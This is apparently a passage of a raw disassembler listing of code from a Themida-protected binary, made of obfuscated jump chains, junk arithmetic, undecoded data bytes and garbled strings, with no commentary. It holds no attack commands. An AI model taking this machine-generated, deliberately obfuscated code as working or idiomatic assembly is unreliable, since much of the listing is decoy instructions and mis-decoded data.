		pop	esi
		jmp	loc_550FFE
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 97h
		dd 0E9065845h, 0FFFFFF52h
; ---------------------------------------------------------------------------


loc_552D24:				; CODE XREF: Themida_:00551FAAj
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_55C14F
; ---------------------------------------------------------------------------
		db 2Dh,	5Fh, 1Eh
		dd 0E8015B57h, 571E5F05h, 7EBE565Bh, 117E528h, 2C8B5EF0h
		dd 77186824h, 4890000h,	5E08924h, 4, 8704C083h,	335C2404h
		dd 4312404h, 24043324h,	811EE9h
		db 0
byte_552D69	db 0FFh, 32h, 0E9h	; DATA XREF: Themida_:0054FBFCo
		dd 0FFFFD0A3h, 8840E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552D76:				; CODE XREF: Themida_:00557545j
		pop	edx
		shl	ebp, 4
		jmp	loc_55B426
; ---------------------------------------------------------------------------
		db 55h
		dd 2F1C17BDh, 5EDC15Ah,	10C3C581h, 0F58175F3h, 78C489A7h
		dd 515DEF01h, 0FFF0D4E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_55B708
; ---------------------------------------------------------------------------


loc_552DAC:				; CODE XREF: Themida_:00552EEBj
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_552DB1:				; CODE XREF: Themida_:0055A993j
		push	4
		pop	edx
		add	edi, 3D0D60D7h
		jmp	loc_552115
; ---------------------------------------------------------------------------


loc_552DC2:				; CODE XREF: Themida_:00559664j
		add	dword ptr [esp], 6D62494Dh
		pop	edx
		jmp	loc_5542B6
; ---------------------------------------------------------------------------
		dd offset dword_5AD588
		db 0F5h
		dd 2B3BE9h, 0D6E95D00h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552DDF:				; CODE XREF: Themida_:00556D0Ej
		xor	esi, 71B55BD2h
		push	esi
		xor	dword ptr [esp], 3A3C429Ch
		pop	edi
		jmp	loc_54FE77
; ---------------------------------------------------------------------------
		db 33h
		dd 665C240Ch, 9C243CD3h, 0FFD012E9h, 243487FFh,	6624248Bh
		dd 2404AB0Fh, 0D001E99Ch, 0FF54FFFFh, 835A2434h, 0C28104C4h
		dd 4, 2BF57h, 0C2810000h, 605543F1h, 87BFE9h, 24048900h
		dd 4B8h, 0C0C38100h, 8143933Eh,	6A763CC3h, 0E9C30172h
		dd 4AC3h, 62F5EE81h, 0F129AC5Fh, 18F6E95Eh, 0BE560000h
		dd 5CD25AEBh, 6A2DB951h, 0FAE93403h, 50000026h,	0FFF94FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552E71:				; CODE XREF: Themida_:0055953Dj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_554457
; ---------------------------------------------------------------------------
		db 80h,	0C9h, 17h
		dd 0C1FEE9D0h, 80F5F180h, 0C800E2F1h, 2EC8159h,	66000000h
		dd 0E9241489h, 387Dh
; ---------------------------------------------------------------------------


loc_552EA0:				; CODE XREF: Themida_:00556505j
		shr	ebx, 1
		and	ebx, 5EEA6610h
		jmp	loc_554270
; ---------------------------------------------------------------------------


loc_552EAD:				; CODE XREF: Themida_:0055371Dj
		mov	[esp], edx
		jmp	loc_559CE5
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 5Fh
		dd 34FFCE01h, 240C8B24h, 81E38953h, 4C3h, 0FC20E900h, 0BA52FFFFh
		dd 403AFC1Bh, 0E95AD001h, 8ADBh
; ---------------------------------------------------------------------------


loc_552EDC:				; CODE XREF: Themida_:0055BC52j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_552DAC
; ---------------------------------------------------------------------------
		dd 0E9241C31h, 7F87h
aNhJ		db '╜h╥j',0             ; DATA XREF: Themida_:0054FBB8o
		align 2
aSt_0		db 'ИT',0
		db 2 dup(0), 0E9h
		dd 0FFFFCF0Bh, 0D66C7CB9h, 59CB3149h, 36B5C381h, 0BBE969F0h
		dd 5500002Ah, 6ED3E9h
		db 0
; ---------------------------------------------------------------------------


loc_552F21:				; CODE XREF: Themida_:0055BB65j
		pop	edx
		push	4429h
		mov	[esp], edi
		push	800h
		pop	edi
		jmp	loc_5545EB
; ---------------------------------------------------------------------------


loc_552F35:				; CODE XREF: Themida_:0054FE20j
		pop	ebx
		jmp	loc_55A826
; ---------------------------------------------------------------------------


loc_552F3B:				; CODE XREF: Themida_:0055667Fj
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_550EB4
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0FE90000h, 89FFFFD6h, 0C4E9242Ch
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552F5F:				; CODE XREF: Themida_:005574E1j
		mov	cl, bl
		mov	dl, cl
		jmp	loc_55AF52
; ---------------------------------------------------------------------------
aUsJ		db 'UИ;├',0
		align 2
		dw 0C481h
		dd 4, 58FEF581h, 0B3E91859h, 5A000001h,	5B72F581h, 6AE906A1h
		dd 68FFFFDCh, 494409BFh, 25B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_552F95:				; CODE XREF: Themida_:00554693j
		pop	eax
		add	edi, 6F0B54E1h
		mov	edx, edi
		pop	edi
		push	edx
		jmp	loc_555242
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 901CE953h, 0F5810000h, 4D404361h, 0DBED814Dh, 890023F6h
		dd 2CA7E9EEh, 0CF010000h, 4C88E959h, 5ABF0000h,	81563726h
		dd 0E7206CF7h, 0AEEF8132h, 292E30D5h, 0EA015FFAh, 3088C281h
		dd 0E95D369Fh, 0FFFFE870h, 34FFCB29h, 0C4815924h, 4, 0BF57EB01h
		dd 1788766Bh, 2896EF81h, 0E7C133E2h, 0CC78103h,	814E8A3Ch
		dd 1651CAEFh, 5FFB0142h, 8E11E95Dh, 0C5010000h,	634AC581h
		dd 19E945DFh
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55302B:				; CODE XREF: Themida_:00555C49j
		push	edi
		jmp	loc_559004
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 0DEh
		dd 6601EE80h, 660DE968h, 0E9241489h, 5167h
; ---------------------------------------------------------------------------


loc_553044:				; CODE XREF: Themida_:00555094j
		add	ebx, 4DD555Fh
		inc	ebx
		jmp	loc_5540F5
; ---------------------------------------------------------------------------


loc_553050:				; CODE XREF: Themida_:0054FF8Aj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4624DEDh
		inc	ebp
		shl	ebp, 8
		xor	ebp, 624DEE04h
		add	ecx, 12A74082h
		jmp	loc_55BEEF
; ---------------------------------------------------------------------------
		dd 9B7FDEB8h, 8BF8291Bh, 8956243Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 0B0E1055Ch,	0C601F948h, 6815E958h
		dd 0BD550000h, 696D6E85h, 92917BB9h, 5DE90196h,	188D901h
		dd 8B5B5859h, 93E9240Ch, 2800005Fh, 208EE9CBh, 0E5890000h
		dd 4C581h, 0C5810000h, 4, 5C242C87h, 8B1C5709h,	0C4832414h
		dd 0CD25E904h, 0C14EFFFFh, 0C68103EEh, 6F94DC8h, 8305EEC1h
		dd 0F68101EEh, 31A15D8Ch, 315EF289h, 24148BD0h,	0E9E68956h
		dd 0FFFFCE18h, 81E18951h, 4C1h,	4E98100h, 0E9000000h, 6558h
		dd 4D7D0BB8h, 0F1A3E960h, 0F581FFFFh, 1B8544F7h, 2C8BE801h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 0BE16C04h
		sub	eax, ebx
		sub	eax, 0BE16C04h
		sub	eax, 58417D11h
		push	ebx
		push	25CCh
		mov	[esp], ebp
		push	3759h
		mov	[esp], ebx
		jmp	loc_550520
; ---------------------------------------------------------------------------


loc_553177:				; CODE XREF: Themida_:00550349j
		pop	edi
		jmp	loc_553CE2
; ---------------------------------------------------------------------------
aSg1		db '[Иё1',0
		dw 500h
		dd 4, 4109E9h, 24348B00h, 8704C483h, 248B243Ch,	4296624h
		dd 93E99C24h, 81000086h, 4C1h, 4C18300h, 5C240C87h, 2BE56h
		dd 0EF810000h, 7AF51141h, 1BB0E9h, 7099B800h, 0E8C11E9Ah
		dd 0DD0F705h, 604F2803h, 503E8C1h, 528090ADh, 8158C329h
		dd 933EC0EBh, 19685843h, 89000041h, 1EB9240Ch, 0E9377B5Fh
		dd 0FFFFE690h, 0E924348Bh, 5A71h, 814BDBF7h, 0C94086F3h
		dd 0E6C38100h, 985A1ADh, 49E95BDAh
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553213:				; CODE XREF: Themida_:00555249j
		pop	eax
		jmp	loc_55726D
; ---------------------------------------------------------------------------


loc_553219:				; CODE XREF: Themida_:00552882j
		pop	eax
		push	eax
		mov	eax, 3F7940DFh
		add	ebp, 941621Dh
		add	ebp, eax
		sub	ebp, 941621Dh
		jmp	loc_553FED
; ---------------------------------------------------------------------------
		db 42h
		dd 5AEA814Ah, 0E9E169FBh, 84CEh, 34FFD830h, 7B42E924h
		dd 0EE810000h, 2A7E1107h, 0C5685651h, 5E4E4F13h, 0F705EEC1h
		dd 32C681D6h, 8952D1DEh, 0F1815EF1h, 32082267h,	1B7CE981h
		dd 0CE09FFA3h, 0F7E6D159h, 6709E9DEh, 1590000h,	0C3835EF3h
		dd 241C8704h, 0CB85E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55328E:				; CODE XREF: Themida_:00559FEBj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5569C7
; ---------------------------------------------------------------------------


loc_553299:				; CODE XREF: Themida_:00552BDEj
		mov	ch, 0B2h
		shl	ch, 2
		add	ch, 2Eh
		push	6D86h
		mov	[esp], eax
		jmp	loc_559314
; ---------------------------------------------------------------------------
		dw 8BDh
		dd 8111FB33h, 73D5BC5h,	0F7D5F747h, 0F9C581D5h,	150A88Dh
		dd 0EF815DE8h, 34077640h, 5599EF81h, 0C7011A98h, 5D4DE9h
		dd 2FB60D00h, 0A4250F3Ch, 0E91F5719h, 0FFFFFBE6h, 582CE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5532EE:				; CODE XREF: Themida_:00551156j
		mov	ebp, 4C752F49h
		add	ebp, 10293D09h
		push	edx
		jmp	loc_553492
; ---------------------------------------------------------------------------
		db 81h
		dd 985EE8EFh, 1F5FE91Ch, 4C310000h, 0E9590424h,	0FFFFF18Fh
; ---------------------------------------------------------------------------


loc_553314:				; CODE XREF: Themida_:00558A28j
		add	edx, 7BCF56BDh
		jmp	loc_555EE2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8957240Ch, 4C781E7h,	68000000h, 36EBh, 89243489h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 8924248Bh, 4BE2434h, 81000000h
		dd 351F18EFh, 0DA56E946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55335A:				; CODE XREF: Themida_:0055BE09j
		mov	[esp], ebp
		mov	ebp, 375B3A65h
		push	esi
		mov	esi, 5711637Dh
		xor	esi, 604A5919h
		jmp	loc_559663
; ---------------------------------------------------------------------------
byte_553373	db 0F7h			; DATA XREF: Themida_:0054FB48o
		dd 0E99C241Ch, 0FFFFCA97h, 0C15DEE89h, 0EE8107E6h, 26C109FFh
		dd 0A4E9F331h
		db 6Bh,	2 dup(0)
byte_55338F	db 66h			; DATA XREF: Themida_:0054FDBCo
		dd 57240C8Bh, 6270E9h
		db 0
; ---------------------------------------------------------------------------


loc_553399:				; CODE XREF: Themida_:0055A18Fj
		sub	eax, 2B8338E5h
		sub	eax, edx
		add	eax, 2B8338E5h
		mov	edx, [esp]
		jmp	loc_554E6A
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 81h
		dd 15A4324h, 81EA81CAh,	8B5A4324h, 0C481240Ch, 4, 5AB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5533C9:				; CODE XREF: Themida_:00556ED3j
		push	eax
		push	3EDAh
		mov	[esp], ebp
		mov	ebp, 5736321Dh
		mov	eax, 0D0076937h
		sub	eax, 41510146h
		sub	eax, ebp
		add	eax, 41510146h
		jmp	loc_55A47C
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 0C2835BDAh, 24143304h, 3928E9h
		db 0
; ---------------------------------------------------------------------------


loc_553401:				; CODE XREF: Themida_:005562CDj
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55BC4B
; ---------------------------------------------------------------------------
		db 29h,	0D1h, 5Ah
		dd 95AD101h, 240C8BCAh,	4C481h,	0EA810000h, 2B927094h
		dd 0D96FEA81h, 0E28153BDh, 44AF6227h, 7121E9h
		db 0
; ---------------------------------------------------------------------------


loc_553439:				; CODE XREF: Themida_:0055C006j
		pop	ebp
		not	ebp
		jmp	loc_556198
; ---------------------------------------------------------------------------


loc_553441:				; CODE XREF: Themida_:0055910Ej
		push	0D84h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_5594F0
; ---------------------------------------------------------------------------


loc_55345B:				; CODE XREF: Themida_:0055ABE3j
		mov	edx, 2EEF1F5Ch
		sub	edx, 1C08425Ah
		add	edx, 0ED192302h
		mov	esi, edx
		jmp	loc_54FEAD
; ---------------------------------------------------------------------------
		db 1
		dd 19C781F7h, 811F5D20h, 0EA00D6EFh, 2434FF77h,	0FFCABCE9h
		dd 0C895CFFh, 0EDFAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553492:				; CODE XREF: Themida_:005532FAj
		mov	edx, 43EA58B9h
		or	ebp, edx
		pop	edx
		not	ebp
		push	edi
		mov	edi, 5FFE7D00h
		add	ebp, edi
		pop	edi
		add	edx, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		jmp	loc_5582CE
; ---------------------------------------------------------------------------


loc_5534B9:				; CODE XREF: Themida_:0055A32Ej
		pop	ecx
		jmp	loc_551E1A
; ---------------------------------------------------------------------------
		db 35h
		dd 73F23CE8h, 0FFF0F6E9h, 0CD366FFh, 40E99C24h,	89FFFFC9h
		dd 0ECE92414h, 56000008h, 8C0844BEh, 52554E3Ah,	0E9330668h
		dd 24148B0Dh, 4C481h, 0E9530000h, 0FFFFF1E6h
; ---------------------------------------------------------------------------


loc_5534F8:				; CODE XREF: Themida_:0055179Aj
		mov	ebp, 2A206264h
		not	ebp
		not	ebp
		sub	ebp, 0C01DE75Bh
		push	edi
		mov	edi, 3B074125h
		sub	eax, 53A270DDh
		sub	eax, edi
		push	edx
		mov	edx, 49A11D6Eh
		neg	edx
		and	edx, 0E4735E1h
		jmp	loc_55B55D
; ---------------------------------------------------------------------------


loc_553527:				; CODE XREF: Themida_:00555967j
		push	ecx
		jmp	loc_55B65D
; ---------------------------------------------------------------------------
		db 1, 74h, 24h
		dd 24348B04h, 0E904C483h, 0FFFFE95Dh, 9C242CD3h, 840DE9h
		dd 0BF575000h, 2DC24DD6h, 0A0CF814Fh, 81774F16h, 6F7A88EFh
		dd 69EF812Ah, 89555FE5h, 0EE815FF8h, 7A595677h,	0C681C601h
		dd 7A595677h, 24348758h, 0E924248Bh, 0FFFFE8FFh, 4A23D6BDh
		dd 76DAE933h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553586:				; CODE XREF: Themida_:0055A9EFj
		push	3B410A4Ah
		mov	ebx, [esp]
		push	1315h
		mov	[esp], edx
		jmp	loc_55825F
; ---------------------------------------------------------------------------
		db 68h
		dd 387Dh, 0BF243C89h, 3C6C2A61h, 6936E781h, 0EFC10423h
		dd 2E7C104h, 42AECF81h,	0E7814282h, 0A235238h, 6AC6BD55h
		dd 0E2E91E95h
		db 0CFh, 2 dup(0FFh)
byte_5535CB	db 0ACh			; DATA XREF: Themida_:0054FBDCo
		dd 0E9512B04h, 3B54h
; ---------------------------------------------------------------------------


loc_5535D4:				; CODE XREF: Themida_:00559A4Dj
		mov	eax, 2
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5503A3
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 8F5A0424h, 815C2404h, 0EF679BC2h, 0C815E969h, 805FFFFh
		dd 8B7F4B79h, 36E92414h, 4B000056h, 41AEF381h, 0DA010576h
		dd 0FFF5A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553619:				; CODE XREF: Themida_:005582C9j
		xchg	eax, [esp]
		jmp	loc_55AA4C
; ---------------------------------------------------------------------------
		db 58h,	83h, 0ECh
		dd 1858E904h, 0ED810000h, 1, 14CEE9h, 240C3300h, 0DC72E95Ch
		dd 5166FFFFh, 0EE2817B5h, 0FFEC20E9h
		db 0FFh
byte_553649	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054FB80o
		dd 6659669Dh, 9C2414D3h, 0FFC7BAE9h, 0EA095AFFh, 68C2815Dh
		dd 0C129D951h, 0E94204E2h, 15EFh
; ---------------------------------------------------------------------------


loc_55366C:				; CODE XREF: Themida_:005563E0j
		push	edi
		push	ebx
		push	2CC34C68h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		not	ebx
		sub	ebx, 21257820h
		push	ecx
		jmp	loc_557733
; ---------------------------------------------------------------------------


loc_553695:				; CODE XREF: Themida_:005558EEj
		not	ecx
		xchg	ecx, ebp
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_556CC7
; ---------------------------------------------------------------------------


loc_5536B1:				; CODE XREF: Themida_:00554E65j
		push	1022CB7h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		or	edx, 6FBE153Ch
		jmp	loc_551388
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 0E9h
		dd 7118h
; ---------------------------------------------------------------------------


loc_5536D8:				; CODE XREF: Themida_:0055132Bj
		sub	edi, 1A602EFFh
		xor	edi, 0D99B6E62h
		jmp	loc_5547EF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Eh, 67F2EF81h,	93E9439Eh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5536FB:				; CODE XREF: Themida_:00550476j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 26E569E3h
		jmp	loc_550AD2
; ---------------------------------------------------------------------------


loc_553712:				; CODE XREF: Themida_:00557363j
		inc	esi
		push	edx
		jmp	loc_55A241
; ---------------------------------------------------------------------------


loc_553719:				; CODE XREF: Themida_:005555CEj
		xor	edi, [esp]
		pop	esp
		jmp	loc_552EAD
; ---------------------------------------------------------------------------


loc_553722:				; CODE XREF: Themida_:005545E6j
		pop	edx
		push	1727h
		jmp	loc_55BE00
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0F7h
aSU		db 'вИаu',0
		align 2
		dw 2C89h
		dd 815D5424h, 4C5h, 4BF5700h, 0E9000000h, 3E45h, 4C381h
		dd 4CE90000h
		db 0EBh, 2 dup(0FFh)
byte_553757	db 66h			; DATA XREF: Themida_:0054FB38o
		dd 5024048Bh, 8357E089h, 6CE904ECh, 59FFFFFDh, 179B68h
		dd 1700E900h, 0F4800000h, 0E9E28820h, 0FFFFEE87h, 68h
		dd 242C2900h, 81ED815Dh, 0E9513219h, 6E66h
dword_553790	dd 9D1C77FFh, 24041158h, 0F08E99Ch, 885A0000h, 8B5958C3h
					; DATA XREF: Themida_:0054FD8Co
		dd 0B4E92414h, 8B000026h, 71E9240Ch, 80000034h,	0B60F48C3h
		dd 48F66C0h, 1948E987h,	0F7000000h, 9E045Ah, 0B35366F8h
		dd 66D8289Eh, 241C8B5Bh, 683EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5537D9:				; CODE XREF: Themida_:005555C3j
		dec	al
		and	al, 6Bh
		inc	al
		push	0
		sub	[esp], al
		jmp	loc_551414
; ---------------------------------------------------------------------------


loc_5537EC:				; CODE XREF: Themida_:00550D02j
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, [esp]
		jmp	loc_555445
; ---------------------------------------------------------------------------
		dd 0FFC616E9h, 34A1B0FFh, 34C8FE1Ch, 58C628BFh,	0BEE9C6FEh
		dd 68000056h, 1, 59CE2959h, 0F231D631h,	0F752D631h, 875A2414h
		dd 2BD1E9D6h, 0BA520000h, 451E4561h, 0E95AD509h, 2DB8h
; ---------------------------------------------------------------------------


loc_553838:				; CODE XREF: Themida_:0055957Fj
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_5512E1
; ---------------------------------------------------------------------------


loc_553845:				; CODE XREF: Themida_:0055ACF2j
		push	edx
		jmp	loc_5502D4
; ---------------------------------------------------------------------------


loc_55384B:				; CODE XREF: Themida_:0055A08Ej
		mov	eax, 45D263EFh
		add	eax, 7F852235h
		add	eax, 1
		jmp	loc_5503BB
; ---------------------------------------------------------------------------
		db 66h
		dd 6659665Bh, 8766D1F7h, 0DD3166CBh, 66EB3166h,	0EC83DD31h
		dd 6935E902h, 0D1F60000h, 8ACB8853h, 8805244Ch,	5B05245Ch
		dd 0C6805A66h, 0DBB3537Ch, 69A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_553895:				; CODE XREF: Themida_:00556C0Cj
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, esi
		jmp	loc_5546AB
; ---------------------------------------------------------------------------
aBIcJss		db '│й┴cЁ)JSИм:',0
		align 2
		dw 0C181h
		dd 5FD47A12h, 2A0FBF57h, 0F929307Eh, 2C41E9h, 24048100h
		dd 4, 89BF5758h, 0E9288A7Fh, 23D1h
aNssul		db '╜SИНL',0            ; DATA XREF: Themida_:0054FCC4o
		db 0
; ---------------------------------------------------------------------------


loc_5538E3:				; CODE XREF: Themida_:00552BA2j
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		and	ecx, 70E00DFCh
		shl	ecx, 1
		push	edi
		mov	edi, 2E4F5992h
		jmp	loc_55461A
; ---------------------------------------------------------------------------
		dd 24048F58h, 6624248Bh, 8124048Bh, 4ECh, 240C8900h, 6019E954h
		dd 0BA0000h, 0E9000000h, 3F09h,	0C7F2E957h
		db 2 dup(0FFh)
word_553926	dw 8B66h		; DATA XREF: Themida_:0054FCA8o
		dd 0C5E92404h, 8BFFFFDEh, 89532424h, 52F2E9E3h,	0C8B0000h
		dd 4C48324h, 0E904C283h, 0FFFFFCA1h
; ---------------------------------------------------------------------------


loc_553948:				; CODE XREF: Themida_:00559BD3j
		sub	ebp, 9F20F92h
		mov	ecx, ebp
		pop	ebp
		shl	ecx, 4
		add	ecx, 0FFFFFFFFh
		jmp	loc_5509C3
; ---------------------------------------------------------------------------


loc_55395C:				; CODE XREF: Themida_:00553E77j
		sub	ecx, 291FE0E0h
		jmp	loc_555901
; ---------------------------------------------------------------------------


loc_553967:				; CODE XREF: Themida_:00552A38j
		inc	edi
		not	edi
		push	ebx
		mov	ebx, 653A1A54h
		push	ecx
		mov	ecx, 34DC2230h
		sub	ecx, 729F337Dh
		shl	ecx, 4
		sub	ecx, 0F96EC3FCh
		add	ecx, 9C67E1F6h
		jmp	loc_550428
; ---------------------------------------------------------------------------
		dd 0A3B68h, 240C8900h, 0E904EC83h, 1544h, 4C281h, 14870000h
		dd 4F215C24h, 240C8B1Ch, 3226E9h, 3DBC6800h, 9FE90000h
		dd 0BBFFFFD1h, 6F41F38h, 343CE9h, 59E80000h, 57AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5539D1:				; CODE XREF: Themida_:0055A3A7j
		push	ecx
		mov	ecx, 59E40F46h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 19A80379h
		sub	ecx, ebp
		pop	ebp
		push	7F1h
		mov	[esp], edx
		mov	edx, 3E705EAEh
		shl	edx, 6
		push	ebp
		jmp	loc_559598
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 6B4DEA81h, 0D2F721BEh, 0FFCFD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553A0D:				; CODE XREF: Themida_:00558BCEj
		not	eax
		jmp	loc_5598B0
; ---------------------------------------------------------------------------
		dd 68241489h, 4AD57D8Fh, 8BD0315Ah, 0C4832414h,	0F430E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553A2A:				; CODE XREF: Themida_:00555EBAj
		or	dh, 5
		jmp	loc_554015
; ---------------------------------------------------------------------------


loc_553A32:				; CODE XREF: Themida_:0055649Aj
		or	eax, eax
		jz	loc_556E17
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_55571A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0C8h
		dd 0E96549F8h, 77D3h
; ---------------------------------------------------------------------------


loc_553A50:				; CODE XREF: Themida_:00555781j
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
		db 57h,	53h, 5Fh
		dd 0BBE9F989h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553A5F:				; CODE XREF: Themida_:005560D3j
		mov	ecx, esi
		pop	esi
		shl	ecx, 2
		neg	ecx
		not	ecx
		shr	ecx, 6
		inc	ecx
		push	3B17h
		mov	[esp], ebx
		mov	ebx, 5B412508h
		jmp	loc_5550A4
; ---------------------------------------------------------------------------


loc_553A7F:				; CODE XREF: Themida_:00554FCCj
		mov	ebx, 6C31381Ch
		jmp	loc_55129D
; ---------------------------------------------------------------------------
		db 42h,	81h, 0EAh
		dd 0F3329075h, 0D2F7D2F7h, 0FFF79AE9h
		db 0FFh
byte_553A99	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FC00o
aVtSm1		db '$VT^И▄1',0
		dd 0E3895300h, 4B951h, 0C3810000h, 3F030008h, 0BD55CB01h
		dd 66534CFEh, 0C4E7E956h, 52BDFFFFh, 315B937Dh,	0E8015FFDh
		dd 5D2434FFh, 3304C483h, 4312404h, 24043324h, 114CE95Ch
		db 2 dup(0)
word_553AE2	dw 34FFh		; DATA XREF: Themida_:0054FD30o
		dd 2434FF24h, 4C48359h,	5659E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553AF2:				; CODE XREF: Themida_:005541EDj
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_5555BA
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EE906EEh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B0B:				; CODE XREF: Themida_:0055B343j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_556B4B
; ---------------------------------------------------------------------------
		dd 8105EAC1h, 0B77B41EAh, 6913E9F6h, 0F9010000h, 2D10E9h
		dd 4EC8300h, 54240489h,	4BF5758h, 2D000000h, 656C064Ch
		dd 4C05F801h, 5F656C06h, 20E68h, 240C8900h, 329168h, 24348900h
		dd 2BEh, 5EF18900h, 5059C801h, 42474FFh, 0FFD0A4E9h, 0E58851FFh
		dd 6659EF88h, 8124048Bh, 2C4h, 1C78000h, 0E905EF80h, 2FAh
; ---------------------------------------------------------------------------


loc_553B8C:				; CODE XREF: Themida_:005521F0j
		sub	ebx, 7E42D77h
		pop	ebp
		sub	eax, 4FC554BDh
		jmp	loc_55B4DA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 248B2404h, 0C8BF0F24h, 5CF368h, 240C8900h
		dd 0FFC25AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553BB9:				; CODE XREF: Themida_:0055B24Dj
		xor	ebp, edi
		pop	edi
		mov	ebx, ebp
		pop	ebp
		dec	ebx
		not	ebx
		shl	ebx, 4
		shr	ebx, 4
		push	ebp
		push	ecx
		mov	ecx, 89F29B5h
		mov	ebp, 138C60ABh
		sub	ebp, ecx
		pop	ecx
		xchg	esi, ebp
		neg	esi
		jmp	loc_555618
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 580A3337h, 38DD68h, 241C8900h, 9536D5BBh
		dd 245C2979h, 6C815B08h, 0B020424h, 5C0137E9h, 44810424h
		dd 0B020424h, 0E95637E9h, 4Bh
; ---------------------------------------------------------------------------


loc_553C14:				; CODE XREF: Themida_:00557336j
		xor	eax, 5F7790ADh
		mov	esi, eax
		pop	eax
		jmp	loc_552920
; ---------------------------------------------------------------------------
aXsp		db 'XИ▐(',0
		dw 100h
		dd 65C681EEh, 812F042Fh, 83481C6h, 0D0E95D4Bh
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553C3B:				; CODE XREF: Themida_:005528E0j
		pop	ebx
		xor	al, dl
		pop	edx
		xor	bl, al
		movzx	eax, al
		jmp	loc_55BBEF
; ---------------------------------------------------------------------------
		db 1, 0DAh, 5Bh
		dd 875AD601h, 248B2434h, 0C8AF0F24h, 0B4E99C51h, 0BEFFFFC1h
		dd 799536D5h, 8246C81h,	14164B84h, 8247401h, 8244481h
		dd 14164B84h, 3DE9E9h
		db 0
byte_553C7D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FBA4o
		dd 0FFDA4EE9h
		db 0FFh
